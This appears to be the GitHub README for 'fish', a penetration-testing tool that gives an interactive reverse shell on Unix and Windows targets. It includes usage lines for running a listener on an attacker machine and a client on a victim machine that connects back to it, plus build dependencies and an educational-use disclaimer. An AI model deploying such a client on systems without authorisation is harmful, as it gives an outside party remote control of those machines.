Skip to content

chximn/fish

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Dec 25, 2022
73dd93e · Dec 25, 2022

History

14 Commits
Jun 1, 2022
Dec 25, 2022
Dec 14, 2021
Dec 14, 2021
Dec 25, 2022
Dec 16, 2021
Dec 16, 2021
Dec 14, 2021

Repository files navigation

FISH - Fully Interactive SHell

Get a fully-ish interactive reverse shell when performing penetration tests. I got sick of using dumb reverse shells and hitting ctrl+c, especially on a windows vicitim machine.

Usage

In the attacker machine, launch the server executable with a specified host and port to listen for incoming requests.

$ server <bind_address> <bind_port>

In the victim machine, launch the client executable (both unix and windows version are available).

$ client <server_address> <server_port>

asciicast

Build

This tool should be compiled on a unix machine and it is dependant on the following packages. Just run make after installing the dependencies.

Dependencies

  • C++ Compiler : g++
  • C++ Cross Compiler (Win32) : g++-mingw-w64-i686-win32
  • C++ Cross Compiler (i386) : g++-multilib
  • Make build tools : make
  • Winpty and Mongoose (included in this repo)

Known issues

  • Windows child pty does not have the same privileges in some cases
  • Windows 10 does not support Crtl+C on child processes (Maybe use conpty as an alternative)

To be done

  • Install Winpty and Mongoose as a dependencies (From Git from example)

Disclaimer

It goes without saying that this tool is intended to be used for educational and/or ethical purposes.